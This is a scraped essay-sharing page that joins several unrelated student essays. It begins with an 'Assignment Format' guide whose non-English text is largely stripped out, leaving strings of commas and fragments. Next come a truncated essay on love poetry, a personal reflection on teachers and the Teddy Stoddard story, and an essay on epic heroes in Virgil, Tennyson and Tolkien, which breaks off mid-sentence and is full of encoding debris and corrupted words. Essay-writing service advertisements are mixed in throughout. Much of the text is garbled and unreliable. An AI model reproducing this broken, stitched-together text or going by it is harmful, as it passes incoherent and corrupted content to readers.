Assignment Format - Free Essay Example

Sample details Pages: 1 Words: 202 Downloads: 3 Date added: 2017/09/12 Category Advertising Essay Did you like this example? assignment ( , , ) assignment , essay, report. ,, assignment essay report , : 1. :Times New Roman, : , :1. 5 , 2. , , , : Essay: Essay report ,Introduction, Main Body, Conclusion. Introduction topic 10% Main Body , 80% , , Conclusion 10%, Essay , Reference , Report: essay , : : executive summary. ?Executive summary : Report , essay , conclusion recommendations. , , reference Reference , 1. ,reference 2. reference reference , referencing 3. References reference 4. H , ) ( , , ) , , referencesq , , , , , : ? , :can’t, don’t, didn’t, wouldn’t cannot,do not,did not, would not? ? , ? , :a little bit,well†¦I will talk about†¦. ? , ? , , , ? INTRODUCTION , THESIS STATEMENT, ? ? , 150 ? , ? , Don’t waste time! Our writers will create an original "Assignment Format" essay for you Create order Abstract ? 1. 5? ,Basic Font:Times New Roman 12pt ? , Reference , , , , , , 10%, 1000? , 101 , idea, ( ), references reference! Reference reference? 2? , in-text reference reference, reference, reference list ,2? reference , in-text reference, reference list? Reference Reference wizard :https://www. stylewizard. com/apa5/apawiz. html , , reference, reference list, in-text reference. In-text reference reference, reference 1000 , 8? references,2000 12-15 , , , ( , , , 1000 4 5? ,2000 10 ) !!! references!!! †¢ : 1. 5? †¢ : Word †¢ : Times New Roman †¢ :12( ) †¢ †¢ , †¢ Abstract (? ) †¢ 1-2? †¢ 10-15%, , 2000? , abstract 200-300? , †¢ Abstract †¢ Abstract 1-2 , †¢ Abstract , 2-3 †¢ Abstract †¢ abstract, , abstract? Introduction( ) †¢ 10%, , 2000? , introduction 200-250? †¢ Introduction , 2 †¢ Introduction 1-2 , †¢ 2 †¢ Introduction ,? 2-3 , , In this easy, firstly, I will discuss†¦, and then I will†¦, thirdly, I will†¦ †¢ , , , , , , †¢ Introduction Body( , ) †¢ , , , 2 †¢ ? body I,he,she , †¢ introduction,explanation,examples 4 :  ¦ Introduction:? 1-2 idea  ¦ Explanation:? 1-2  ¦ Examples: , , , , , †¢ Body 3-6 , 1000-3000? , body 2-6? †¢ , Conclusion †¢ †¢ 0%, , 2000? , conclusion 200-250? †¢ Conclusion , 2 †¢ Conclusion 1-2 , †¢ Conclusion , †¢ Conclusion , conclusion Introduction? conclusion †¢ Introduction , †¢ Conclusion 1 , introduction †¢ Introduction ,conclusion , Recommendation †¢ Recommendation †¢ , , , body :introduction,explanation,example conclusion †¢ recommendation, , , [emailprotected] com

Love in Poetry Essay - 1997 Words

Love in Poetry â€Å"The course of true love never did run smoothly,† (William Shakespeare.) How far do you think the three poems you have read conform to this view? Throughout history love has been a favoured theme with many poets in their writing. Carol Ann Duffy, (born 1958) tackles the issue of love in her poem â€Å"Valentine,† as does Percy Bysshe Shelly (1792-1822) in the poem â€Å"Love’s Philosophy,† and finally Robert Burns (1759-1796) considers the topic in â€Å"A Red Red Rose.† As different poets throughout history have written about the topic it is not surprising that all three contain different and contrasting messages and viewpoints. It is clear that with the passage of time, views have become more pessimistic or some may say†¦show more content†¦These aspects contribute to the poem giving an overall impression that love is everlasting and also holds the world together in a unifying way. These previous images also enforce Burns message that love lasts, survives and can be relied on. Burns suggests love will last â€Å"till a’ the seas gang dry.† This is physically impossible and through this Burns is suggesting that love is so powerful that it can defy the laws of physics. Through this Burns also implies that love can surmount boundaries of space and time, â€Å"the seas gang dry†. This finally enforces that love is an enduring power and will never fade. The title â€Å"A Red Red Rose† further implements Burns messages that the course of true love does run smoothly. The red rose is a typical symbol of love and therefore Burns is suggesting, perhaps naively, that love is a clear and simple path to follow in life. The title also suggests that Burns feels love should be celebrated and life should be lived to the full. The title also alerts the reader to the fact that Burns is addressing the traditional aspects of love. The poem has a regular structure throughout and strong rhyme. Burns has written the poem in this way in an attempt to portray love as a strong force, which can be depended on. Burns has also included alternate line rhyme throughout the poem. ThisShow MoreRelatedPoetry and Love863 Words   |  4 PagesRhetorical Analysis of Love Poems The two poems â€Å"Magic of Love† by Helen Farries and â€Å"Love Poem† by John Frederick Nims are both poems with the central theme of love. The ways that these two authors express this theme differ significantly from each other and show two spectrums of love in literature. Through their use of syntax, diction, rhyme, and meter, these poets portray love in a unique and personal manner that illicit specific emotions from the reader for a variety of possible reasons, whichRead MorePoetry Of Love Essay1346 Words   |  6 PagesPoetry is a form of literature which can be characterized by rhythm. Poetry may be short or may be long. There is no limit to themes that a poet may use for their poem. A poem can be about animals, nature, and a common theme, love. The two poems that will be discussed in the paper have a common theme of love. While one poem speaks of love for a woman, the other explains what love is in general. Theses two poems are When You Are Old by William Butl er Yeats, and Let Me Not to the Marriage of TrueRead MorePoetry : Theme Of Love1638 Words   |  7 PagesLove in Poetry Studying the theme of love in poetry can help a relationship to move from one level to another. Poems express love in unique ways that draws the attention of both the poet and the recipient to focus and express love in powerful ways. The choice of words and phrases used in poems can provide the insight lovers needs to keep their love strong and live for as long as possible (Literary Devices, 2015). Sometimes love fades because people take each other for granted and forget expressingRead MoreThe Theme of Love in Poetry1916 Words   |  8 PagesThe Theme of Love in Poetry Love is a very common theme in poetry. By closely examining the ways in which two poets(one must be pre 1900) have explored this theme. Show what you have found to be similar/different in their handling of this theme. Many people have different views on love. Many of these views throughout the ages are explored through poetry as love has much contemporary relevance in todays society as it ever did before. Two love poems I read whichRead More Love in Poetry Essay3954 Words   |  16 PagesLove in Poetry There are endless ways in which love can be portrayed and occur. There are numerous types of love, whether its physical, emotional or romantic love. I intend to expand upon and highlight the various ways in which love an loss is portrayed in 5 selected poems: John Clares First Love, John Keats La Belle Dame Sans Merci, Robert Browning My Last Duchess and Christina Rossettis two poems Birthday and Remember. All of the poets portray love the concept of love orRead MoreMy Hate And Love Of Poetry1201 Words   |  5 PagesFrom My Hate To Love of Poetry I hated poetry, loathed it even. Until eighth grade I hated writing, reading, or even listening to poetry. Something about it was remarkably confusing and annoying. Anyone that knows me would most likely think I would enjoy poetry. I am a extremely slow reader, so the fact that poetry is almost always short and easy to read would make people think it is something I would appreciate. The problem with poetry was constantly not having any idea what the author was tryingRead MoreEssay on An Exploration of Love Poetry1691 Words   |  7 PagesAn Exploration of Love Poetry Coursework Poetry is an idiosyncratic way of a person trying to articulate their feelings or other in a different way about a variety of topics, love, past experiences, politics etc. With the use of metaphors and similes, one can show diverse things without having to be precise about them. Not just words can tell us about the poem, a lot of the time we can learn how the poet is trying to express themselves, by looking at the sentenceRead MoreJohn Donne Love Poetry1442 Words   |  6 Pageslies is that, in poetry, all facts and all beliefs cease to be true or false and become interesting possibilities†¦It may not, perhaps, be absolutely necessary that he believe it, but it is certainly necessary that his emotions be deeply involved, and this they can never be unless, as a man, he takes it more seriously than as a mere poetic convenience.† It is Donne’s sensibility and his personal experiences which are revealed with a vibrancy of language in his love and religious poetry that make himRead MoreEssay on Love and Metaphysical Poetry1635 Words   |  7 PagesMetaphysical poetry. Poetry that enables its audience to take a journey with the poet throughout life’s battles, luxuries and treasures, is simply a phenomenon. Today, we are very lucky to have the luxury of many metaphysical poems; however, today we will be exploring just two. These being A Valediction Forbidding Mourning and To His Coy Mistress. Both poems possess different themes and features that will be compared and contrasted throughout, however, are connected through the discourse of love. TheRead MoreEssay on Comparing Love Poetry602 Words   |  3 PagesComparing Love Poetry In this assignment I am going compare and contrast two poems, A Red, Red Rose by Robert Burns and Lucy Poems by William Wordsworth. In this assignment I am also going to discuss, how each poet uses language, how they portray the theme of love, the tradition and culture of each poet and my own personal response to these poems. Robert Burns was born in 1759, in Alloway in Ayrshire in Scotland. Burns father was a poor tenant - farmer but he

Teachers Unsung Heroes of the World Free Essays

string(46) " what we see is independent to what we think\." DEDICATION * * * This reflection paper is dedicated to the unsung heroes of the world—TEACHERS; To all morally upright and just individuals whose sense of integrity and humility are rooted deeply within them; To Mr. Books who never fails to inspire me with his words and wisdom; To my parents and my mentor, EXPERIENCE, for making me understand at an early age the essentialities of life here on earth; And to my Creator, You are beyond the superlative degree of adjective. You are the Minerva and the hair of Samson in my life. We will write a custom essay sample on Teachers: Unsung Heroes of the World or any similar topic only for you Order Now You have always been there leading me along the path that I have chosen! I salute you all! – K. A. P. C. * * * Introduction The writing technique that I used in this paper was a little different than those that I have written before, specifically during my undergraduate studies. In here, I made use of chapters instead of uninterrupted, paragraph by paragraph account. The reason is as simple yet complicated as to how a raindrop is able to produce rainbow with different colors from a single beam of sunlight or how a prism bends white light into different colors. As to this paper, each chapter reflects the unforeseeable and offensive truths that The Story of Teddy Stoddard implies, which are often hard to swallow by many people maybe because of pride or blindness. These paper includes both reactions and reflections. Commonly as it has always been, the story of Teddy Stoddard was no different with a lot of movies that I have watched and stories that I have read and heard before—all of which had communicated the same genre as the former. It is but an ordinary ripped page, no rarity or unfathomable terminologies, existing behind the great literary masterpieces of the world. But with its simple approach and language to whomever the reader may be, paired with its emotional quality, is like one of my favorite movies—Titanic. I can watch it over and over and cry to my hearts’ content time and again. On a profound understanding of the story, I was able to nod my head as each word of the story mumbled deeply within me as if letting me know that there is more to teaching as there is more to life. The story does not only happen in real-life teaching where some teachers tend to act like Mrs. Thompson but as well as in many other fields of profession and even in congregation of ordinary people. Let me discuss first, in a broader perspective, the story’s implication to human and life before I discuss the minutest details of its implication to the teaching profession and to me as a teacher. Chapter 1 Myths of the World Ever wonder why the world is becoming evil? Or why in spite of many sound philosophies and theories of education the world continues to move forward to its downfall? Why almost all men, especially educated men, are more foolish than a beggar on the street? Simple. A beggar is the happiest man in the world when somebody drops a coin in front of him, but to a man who knows a thing, a coin will do him no good unless that coin happens to be gold. We only worry on things that concern us or have direct effects in our lives. Those that do not seem to matter in their diminutive, powerless forms are taken for granted—consider Teddy’s case for instance. Nero, Alexander the Great, Hitler, Stalin, Mao Tse Tung, Hussein, Bin Laden and many others who are like them—weren’t these men, who had been leaders of their own dominions, able to earn a degree in college? Unfortunately, none of them was able to show genuine compassion towards their subjects, was able to leave something behind that future generations can make use of. It is not very often that people thank Hitler or Hussein for what he did because not many are born with mental retardation. (But of course, Teddy’s gratefulness to Mrs. Thompson was a different matter. ) It is very obvious to notice that only a few people in the past —Jesus Christ, Mother Teresa, Ghandhi, Mandela, and others—were able to show what real compassion means. As for Einstein, he’s a genius. Yet there is a fine line between genius and insanity. Had he only made use of his common sense, world leaders of today will stop accusing each other on issues about the use of nuclear weapons. Einstein’s actions were enough proofs that, even to genius, common sense is not very common. Thus, our first myth is: Not everything that glitters is gold. 1 Even other metals or â€Å"rusty† metals can reflect light and can have shiny appearance if furnished well. What and whom am I talking about? Find it out The Story of Teddy Stoddard. When I heard the news of Osama Bin Laden’s death, I did not believe it in an instant. What if it were a mere propaganda of Obama’s administration? What if Bin Laden’s look-alike were the one who got killed? Or did he really have a look-alike? From the book that I find no time to finish reading, entitled The Road Less Traveled, Scott Peck discussed what he termed as scientific tunnel vision—that is, according to him, â€Å"patients [people] are able to see only a very narrow area directly in front of them. They cannot see anything to the left or to the right, above or below their narrow focus. † I would strongly agree that, too often, a lot of people in this world, including I, have this kind of vision. We find it too difficult to look beyond the surface of things. Our perception of the world is no more than skin deep or subjective like that of Mrs. Thompson’s. Thus, the second myth is to see is too believe. 2 We are realists or materialists most of the time in the sense that what we see is independent to what we think. You read "Teachers: Unsung Heroes of the World" in category "Papers" An object continues to exist independently of the mind. Mrs. Thompson were aware of the presence of Teddy. He comes to school, takes exams, et cetera. Yet, Mrs. Thompson ignored to use her mental faculty to the most logical and sensible manner that she could to diagnose the problem of Teddy. It’s like when a man and a woman were seen by somebody moving out a motel. It is not hard to imagine what would immediately come in the mind of the observer. It is a prejudice akin to judging the book because of its worn-out cover. Having been explained that ‘seeing is believing’ is not always reliable, it is to be rejected. What we hear or see is not what we should always believe in. At times, we need to be idealists. There are times when we need to be rationalists, or skeptics or moralists, so on and so forth. There are even times when we need to be generalists. Remember this overused line: â€Å"Together we stand, divided we fall†? Adopting only one philosophy in life is discriminatory but it surely will lead us somewhere although our vision will be much like that of a tunnel. As for me, too much is enough. If these â€Å"too much† ideas being introduced to us at any given time anywhere in the world will solve human strife, it should have started a long time ago. Sadly, it did not. Sometimes, I feel disoriented into thinking how men, through the ages, are able to move forward, leaving the world behind at its deterioration. Or how a teacher is to be promoted whose responsibilities to his pupils he failed to accomplish. Nonetheless, everything comes and goes, and all that remain are unfinished businesses. At the end of the day, when exhaustion from every day work pays me a visit, I just sit and try to remember one thing that I learned from The Little Prince: â€Å"What is essential is ‘invisible’ to the eye. † It amazed me how Mrs. Thompson was able to realize her mistake and was able to understand the concept of â€Å"invisibility† on the latter part of the story. He that never changed any of his opinions never corrected any of his mistakes; and he who was never wise enough to find out any mistakes in himself will not be charitable enough to excuse what he reckons mistakes in others. † -Shakespeare- No matter how intelligent, how good, how rich or how respected a person is, it is an undeniable fact that he often commits false accusations and hypotheses. It’s our n ature as humans. Even philosophers and men of God cannot escape this inevitable â€Å"offense† because whatever their beliefs are, they too, commit mistakes. Luckily, we can bail out of this â€Å"offense† because of Alexander Pope who once wrote metaphorically, â€Å"To err is human. . . † but it didn’t just end there. He further added, â€Å"To forgive divine. † Thus, forgiveness itself cures mistakes. But there is an exemption: Laws are created because not every mistake can be excused by a simple sorry. Here comes the concept of pride. From this, the third myth arises: â€Å"Everybody can forgive†. Why is that? The sentence seems to be lacking. Nobody forgives unless he forgets. We will remain prisoners of our own hatred unless we forgive and forget. But doing both things is as hard as judging oneself. The good things about the story were Mrs. Thompson’s humility as a teacher to correct what she had done wrong and Teddy’s disregard of anger towards Mrs. Thompson. In all of these things that I have written, one thing in life, for sure, is universal that applies to all men: We see unrighteousness when we are right; we do not see righteousness when we are wrong and, there is no such thing as â€Å"between right and wrong†. It is a necessity , therefore, to evaluate ourselves continuously. It might appear as a science-related issue as to how Mrs. Thompson metamorphosed from unrighteousness to righteousness. An â€Å"ugly caterpillar† once she might had been, she later transformed into a â€Å"beautiful butterfly† who was able to touch the life of a unique wild flower named Teddy. Thus, we can never tell what type of impact we may have on another’s life by our actions or lack of actions. Whatever and whoever we are, let us not stop remembering that the best gift we could give or receive is touching a life and making a difference on someone’s life. As Gandhi said: â€Å"We must become the change we want to see in the world. â€Å" So the last myth is: Butterflies are beautiful to look at especially on their colors. It’s a paradox. Why? Because a butterfly is a camouflage of a caterpillar that it once had been. A caterpillar can live without being a butterfly, but it is impossible that a butterfly will appear without being a caterpillar. The underlying fact about it is that it CHANGES—from ugliness to beauty (like Mrs. Thompson). Same principle applies to humans. But most of the time, the reverse happens. â€Å"Are we caterpillars who get fat by obtaining nourishment from leaves until they finally run out r are we butterflies who add beauty to flowers every time we perch on them? † -Kristel- Like a butterfly, each of us has/had bones in our closet and we act according to norms as a camouflage of our little â€Å"secrets†. True? Hell, right! Freud was a genius with his concept of id, ego and super ego! â€Å"All humans have behavioral problems. A person with behavioral problem is not normal. If you’re normal, then you’re not human. † (Kristel, 2011) Chapter II â€Å"What Does It Take To Be Human? † In light of my twenty-one years of existence, the world has shown and taught me so much that it can offer. Though most of the time, asking how and why things behave in ways I cannot understand is like dragging myself into a labyrinth. My own logic often convinces me that doing such a thing is just putting myself into a dilemma. People and books can give answers but their answers often lead to another chapter which makes it become very obvious that life really is an indecipherable puzzle. A lot of life’s opportunities, difficulties, persons who are dear to me have come and gone in my life—opportunities that caused me to have regrets, challenges that taught me the importance of humility and loved ones who made me cry. Through all of these I realized that whether we take life seriously or not, it has never been easy to take. Life is difficult and it will always be that way. But once it is accepted, the fact that life is difficult no longer matters. Life, aside from its being difficult, is finite as well. This is the greatest truth in the world. Because of this truth, we, humans, have tried everything to outdo earth’s rotation by shortening ten years of men’s consistent labor to its half. This was made possible because the birth of industrialization gave humans the need to invent. Destiny dictated our triumphs. But is it a triumph or a failure that the birth of machineries is able to overpower Time? The answer is evident. Because of our obsession to change the world, we forget to change our attitudes. I guess the reason why a lot of people, specifically people in the past who often â€Å"defy† and critique norms, die poorly and unlamented is not because their beliefs are right but because society’s attitude towards them and their attitudes towards society fail to have a point of tangency (like in Geometry) thereby they are excluded in the â€Å"system†. Human weakness is power and too often, as power strengthens esponsibility weakens (in Physics, it is termed as inverse proportionality). Spider Man said: â€Å"Great power comes great responsibility† but when one is greater than the other, there arises masters and slaves. After I read The Story of Teddy Stoddard, I came into deep deliberation of what it takes to be human and trust me, I do not know if people would agree, for we all have our own way of thinking, that to be human is to become conscious that we are not in power to rule but we are responsible to serve. This would be more realistic if action would speak louder than words. CHAPTER III What Does It Take To Be Teachers? First and foremost, teaching had never been in my list of one-of-many things that I dreamt of doing someday. Well, truthfully, I believe that none of them really have been brought into realization. My first love was architecture but my true love is writing. Life really is not everything. Things that we do not expect happen as if they were to tap our backs to say â€Å"Hey, learn from us! †. When I was just a little girl, though living was as tough as it is now, I was always wondering what I would be someday. First, I dreamed of becoming a teacher. I was in grade school then when I thought of it. My sister and I used to pretend that we were teachers. We used to write on a mini chalkboard that our mum bought for us using varied colors of chalk. I have always been the one pretending as teacher and she was my pupil. As years past, when I finally entered fifth grade, I thought of becoming a journalist instead. My classmates often think of becoming like that so I decided to do the same. The feeling was similar when at one time I terribly ached for sweet candy because my playmate happened to have one. Things happened too swiftly before I realized that I was already a high school student. A year before my senior year, I was so sure of taking architecture in college. I discovered that I have a talent in designing houses and decorating their interiors. It has always been my passion to draw houses and appreciate the beauty of them whenever I go to places. It was on my last year in high school when I wished of becoming a writer and at the same an architect, and a teacher, and . . . and . . . well, I wasn’t quite sure right on that very moment. I lost my momentum. Perhaps I have been so engrossed of thinking over what I would be like. It was like trying to become ten different persons all at once though I knew that I was just an average. I mean, I was just a nobody way back in high school and up until now. Thin. Pimpled face. Shy. Unpopular. Out-of-style. Hermit. And other disgusting adjectives that one would happily attach to my name. I found that my previous ‘detention centers’ were too tight and were ‘pains’ in my ass. College life was different. I found freedom, comfort, appreciation, and friendship. I have the difficulty liking my course because I was forced to take it. I mean, nobody forced me to. It was I, myself. During that time, I feel like there’s nothing else to choose from so I took it anyway. My parents were not able to send me to prestigious college or university in the city because of lack of money. Architecture was, thus, forgotten. But in spite of that, I was learning wonderful things each day in college. I was beginning to be comfortable with the new environment and the people around. But I still could not accept the fact that I would soon be graduating despising the course that I have taken. But, but . . . things really happen for a reason, you know. God has His way of sending blessings in disguise. Even though I failed to fulfill my greatest dream, I somehow feel that I am leading on the right track though too often a few destructions shake my momentum. Sometimes I think that God put me into this profession because He wants me to learn and unlearn things in life. Or why I took the life that a few people in the world would buy. Or why I am making life difficult when on the other side is a greener pasture to walk on. Mother understands me for the decision that I have made, though father is not as understanding as her. I know that deep within them they want to see in me the daughter that they wanted me to be —happy, the one that would take them out of poverty, earning a much higher salary, self confident, and candid. I do not know. All I know is that when we hold on to our principle, we will be like a tree fixed on the ground—full of nourishment to give away yet never moving forward up to its death. Up to this day, I as well do not know the reason why I teach until I read The Story of Teddy Stoddard. I admire Mrs. Thompson because she was able to make a big difference on Teddy’s life. Someday, I wish I could do the same thing not only by being a teacher but by being human on this planet that I am living in. Now that I’m in the teaching profession, I am beginning to realize what it’s like to be human and to be a teacher. Some people may raise their brows on us making us feel so sick, others may say bad things about us as if they had never been bad all their lives. As for me, humility really matters. Within the four months of being in my line of work, I can say that there is more to teaching than meets the eye. Teaching is difficult. So far, it is what I can say. Difficult to the point that aside from everyday teaching, I meet a lot of people with different personalities wherein sometimes a person who doesn’t know how to control emotions or does not comprehend right from wrong may probably just burst out. Thank God, I am learning a lot with people who are as imperfect as I am. (Am I this bad Sorry. Hehehe! Peace! I’m not just in good mood today. OOO) I guess you have heard someone said: â€Å"Politics is not dirty. The ones who make it dirty are the people involved in it. † Same thing happens in teaching even with Mother Earth, but I do not want to discuss it further. For crying out loud, I am too judgmental! Peace every one! I, too, make mistakes! A lot of moral lessons can be taken from the story. I am beginning to have an extraordinary motivation to write as many pages as I can though my time is running out (it’s not that I’m going to die soon . . . L. O. L! just busy). I believe that there are many Mrs. Thompson in the world who transformed from being caterpillars to being butterflies. Some may even remain as caterpillars. I, well, I do not know what I am. Sometimes I am a caterpillar, sometimes a butterfly. I cannot run away from being a caterpillar especially when anger hits me. Anger is a state of mind. How can I escape from anger without losing my mind? But I am the type of person who, most of the time, does not speak out what I want to say (In teaching, we must be careful with the command of language. Everyone has his own interpretations). As an escape, (heheh) I write everything down on a sheet of paper. At least, through it, there’s an indirect communication. I can even delete words that seem not quite good to the reader. It’s not because I want to please everybody because that is hypocrisy. It’s just that people will not be satisfied unless they have scrutinized every inch of us. If enough were not enough, trust me, scrutiny won’t end. (What am I doing right now? Am I not scrutinizing? L. O. L! OOO) From time to time, we must weigh things up. We are never always right neither always wrong. Acceptance is a key to a contented and harmonious living. The Story of Teddy Stoddard tackles the concept of acceptance. In connection to teaching, a lot of teachers say, and too often I try to agree, that once we are in the system, we have to face facts, to accept things as they are. No but’s, but that’s how the world works. Many people have tried to reverse its working, but they all ended being ridiculed and condemned. What’s the relevance of all these things that I’ve written into taking Master’s degree units? I do not know, but one thing for sure is I know: as I continue learning, I am ‘knowing more and more about less and less’. It’s a cliche, but literally cleared my mind up (deep sigh). . . Thanks be to God! You’re my everything! Chapter IV Insights Gained From Mrs. Thompson and Teddy: Relevance to My Growth as a Teacher and as a Person Today, teaching for me is perceived as art with passion. It has its intricacies that a truly devoted and passionate individual can only see. It is mastered so as to get the best out of the worst from the learner. It is not merely an act of inculcating ideas to young learners that may turn these young individuals to become mere copycats of the indoctrinator. Asking thought provoking questions elicits active and creative reasoning. Teaching is not telling the individual the what’s, the why’s, and the how’s of life. Teaching is just giving the learner facts that will guide him to find the answers for himself. â€Å"Teach with passion,† this I heard several times from a former teacher. Love to teach. Be passionate. Let the child feels you are a part of the process. With your guidance he will discover the facts of life. Be enthusiastic in teaching no matter how insignificant the topic may be. Passion and love for teaching make one an effective teacher. No amount of master’s degrees can equal a committed teacher who has loved to teach and has mastered the art of teaching. It is not in the amount of accolades or recognition a teacher received that define success. It is through the eyes of these young minds that benefited from your guidance. A tyrant teacher is remembered indifferently but a good teacher is admired forever. We pass this life only once. Leave an impact so others may continue the work started like what Mrs. Thompson did! Chapter V My Philosophy in Life My philosophy in life is simple: Life itself is a philosophy. Never take it easy. *** End â€Å"It is hard to fill a cup which is already full. † â€Å"A little learning is a dangerous thing: -Mother of Neyteri, Avatar- Drink deep, or taste not the Pierian spring: There shallow draughts intoxicate the brain, And drinking largely sobers us again. † -Alexander Pope, An Essay on Criticism How to cite Teachers: Unsung Heroes of the World, Papers

Heroes The Child Within Essay Research free essay sample

Heros: The Child Within Essay, Research Paper Heros: The Child Within The heroic poem narrative has entertained and inspired since the beginning of recorded history. Whether told by a wise senior or read about in an old, leather-bound volume, histories of heroes tracking the unknown and meeting mystical animals have ever aroused feelings of exhilaration in kids. However, beneath these feelings, the kernel of a kid is cultivated ; throughout a life-time, the scruples is a important force which ushers and directs. Since immature kids are easy influenced, the expounding of literature will hold a permanent impact, and subjects that are presented will doubtless go forth an feeling. Narratives such as Alfred Lord Tennyson # 8217 ; s # 8220 ; Idylls of the King # 8221 ; recounts scenes of Sir Geraint # 8217 ; s knightly heroism and heroism, while Virgil # 8217 ; s Aeneid contains a repeating motive of doggedness as the Trojan hero Aeneas persists despite confronting legion adversities. Although the aforesaid characters seem legendary in nature, they are no different from the common person. We will write a custom essay sample on Heroes The Child Within Essay Research or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page J.R.R. Tolkien # 8217 ; s # 8220 ; Lord of the Rings # 8221 ; is a narrative that readers can readily tie in with, as it revolves around an ordinary, but hesitating person, Frodo, shiping on an extraordinary journey, which subsequently consequences in his development into a epic figure. Having a mistake is common to all three heroes ; nevertheless, throughout their several journeys, chances are presented in which these mistakes may be faced. Throughout the class of history, hero-figures in literature, much like kids, have embodied high moral criterions and continuity while shiping upon a pursuit that leads to the declaration of a personality defect. As the heroic quest involves legion tests of character, high moral criterions are critical to the success of the journey ; since the beginning of childhood, proper and merely actions are encouraged by parents in hopes of bring forthing a young person who will profit world. As good, many faiths and societies encourage high moral criterions as they promote virtuous Acts of the Apostless and the saving of character within the person. When Enid of # 8220 ; Idylls of The King # 8221 ; was faced with the determination of either accepting Earl Doorm # 8217 ; s invitation to dine with him, or to remain by her hurt hubby Geraint # 8217 ; s side, she said, # 8220 ; Pray you be soft, pray you allow me be: I neer loved, can neer love but him: Yea, God, I pray you of your gradualness, He being as he is, to allow me be. # 8221 ; Despite Sir Geraint # 8217 ; s uncertainties of Enid # 8217 ; s fidelity due to a anterior misinterpretation, Enid honoured the vow that was taken when she married. She clearly displays her love for Sir Geraint to be unwavering throughout the verse form ; high moral criterions are exemplified as Enid resists enticement by remaining true to herself. Finally, when she cries out, believing that Geraint is dead, he springs to life and slaughters the Earl, symbolic of the good, incarnating high moral criterions, suppressing evil enticement. As good, Aeneas was faced with enticement ; nevertheless, instead than in the signifier of an evil earl, it came in the form of the beautiful Helen of Troy. As he was flying the metropolis during the poke of Troy, Aeneas encounters Helen, the adult female who had unwittingly caused the Trojan War. Merely as he was approximately to butcher her, believing that he would win congratulations for pacifying his ascendants, his female parent, Venus, appeared before him. # 8220 ; It is non the despised beauty of the Spartan adult female, the girl of Tyndareus, that is subverting all this wealth and puting low the topmost towers of Troy, nor is it Paris although you all blame him, it is the inhuman treatment of the gods. # 8221 ; At this point, Venus reveals the misrepresentation waved by the other Gods, like a parent uncovering to a kid the true province of the universe, leting them to do a wise determination. Although Aeneas # 8217 ; opinion was ab initio clouded, one time he saw through the erroneous perceptual experience that had been thrown upon him by the Gods, he held back his blade in unity, saving her life. Aeneas embodied a high moral criterion as he resisted the enticement that was presented to him. As parents guide kids into the right way when they stray down the incorrect way, the forces of Destiny guide the hero. As a parent reassures a kid that everything will be all right when he or she stumbles, Fate gives the same reassurance to the hero. As the heroic quest involves legion tests of endurance and decide, continuity is indispensable for the continuance of the escapade. In the first book of the # 8220 ; Aeneid # 8221 ; , a scene is painted in which Aeneas is being tossed about in a ship during a torrential cloudburst. He despairs, as he believes that he has lost all favor with the Gods. # 8220 ; Wherever the Trojans looked, decease stared them in the face. A sudden iciness went through Aeneas and his limbs grew weak. # 8221 ; Aeneas had already been sailing for two old ages in a bold effort to happen a site to establish a new metropolis ; nevertheless, his enterprises had been plagued with bad lucks. At this point, he wonders if he # 8217 ; ll of all time live to carry through his fate, but despite all the adversity that he is faced with, he presses onwards. Turnus, the battle-crazed l eader of the resistance proved to be a formidable enemy that disheartened Aeneas. # 8220 ; There it was moored in a sheltered place along the side of the cantonment, protected by the H2O of the river, and to the landward by bulwarks. There he made his attack. # 8221 ; Turnus set the Trojan fleet on fire, in hopes of marooning the enemy military personnels and corrupting them, but the continuity of Aeneas existed non merely in footings of the endurance of life, but as his fidelity throughout the old ages to his pietistic responsibility. Being extremely respectful of the Gods, fastidiously offering forfeits despite what he had to cover with, Aeneas was favoured by the Berecentian Cybele, the female parent of all Gods, who saved the ships by turning them into H2O nymphs. Despite adversities, the doggedness of the heroic poem hero conquers the resistance. R / gt ; Although Aeneas was able to get the better of the opposition that stood in his manner, Frodo Baggins of # 8220 ; Lord of the Rings # 8221 ; had to profess that in order to win, adversities of about unbeatable proportions had to be endured. Relentlessly pursued through many lands by Dark Horsemen for the powerful ring he possessed, Frodo encountered many troubles. In add-on to being wounded several times, he was betrayed by one of the members of his ain traveling company. Following the treachery, Frodo decides to go on, # 8220 ; Frodo rose to his pess. A great fatigue was on him, but his will was house and his bosom igniter. He spoke aloud to himself. # 8216 ; I will make now what I must. # 8217 ; # 8230 ; # 8221 ; Accepting the fact that are all odds were against him, faced with an unbeatable enemy with fallacious going spouses, Frodo journeys into the unknown nothingness by himself. In the terminal nevertheless, his continuity is rewarded by Fate with the successful completio n of the quest, as the continuity of a kid receives congratulations from a parent. Whether in the signifier of the suction of the pollex or the biting of the fingernails, every kid has had a bad wont at some clip or another. Merely as the parent endeavours to decide these wonts, Fate and Destiny conspire to decide the personality defect of the hero. When an heroic narrative contains an ordinary person character, being lone homo, the single possesses a defect, which must be faced and resolved during the class of the heroic quest. At the beginning of book one of the # 8220 ; Aeneid # 8221 ; , Aeneas, weary from old ages of seafaring, invokes decease, # 8220 ; O Diomede, bravest of the Greeks, why could I non hold fallen to your right manus and breathed out my life on the fields of Troy # 8230 ; # 8221 ; Doubtful of his fate, Aeneas despairs for his life and is tempted to give up ; therefore, his defect is his unwillingness to accept his fate of establishing Rome. However in book six, he journeys to the underworld to run into his male parent Anchises, and is told , # 8220 ; Your undertaking, Roman, and do non bury it, will be to regulate the peoples of the universe in your empire. # 8221 ; Aeneas is informed that his fate is to establish the metropolis of Rome and a powerful race that shall govern over the universe. Upon hearing this, Aeneas is inspired with assurance, ready to carry through his fate ; throughout the 2nd half of the # 8220 ; Aeneid # 8221 ; , he steps frontward to accept challenges with certainty. As the wont of seize with teething one # 8217 ; s nails may further feelings of embarrassment due to roast from equals, the declaration of the wont allows a kid to confront the universe with confidence. Although ridicule is a conflict with external forces, the conflict with oneself is surely more hard, such as get the better ofing a fright of the dark, as one must turn inward. Sir Geraint of # 8220 ; Idylls of The King # 8221 ; was plagued with an uncertainness of the fidelity of his married woman, Enid which finally let affairs into a hopeless quandary. However, upon his deathbed, the lament of Enid sprung him to life as it assured him of the really love he had one time doubted. Following a stamp embracing, Geraint says, # 8220 ; Not tho # 8217 ; mine ain ears heard you yestermorn # 8211 ; You thought me kiping, but I heard you say, That you were no true married woman: I swear I will non inquire your significance of it: I do believe yourself against yourself, And will henceforward instead dice in doubt. # 8221 ; At this point, the mighty knight of the Round Table has faced himself and project aside all uncertainty, merely as a kid faces the darkness and confronts a awful fright, dispersing it. Fear comes in many signifiers, but most common is the fright of the unknown ; kids and heroes likewise may pull analogues in this regard as it was the vacillation of Frodo that was his personality defect. # 8220 ; To state the truth, he was really loath to get down, non that it had come to the point. # 8221 ; Until Frodo 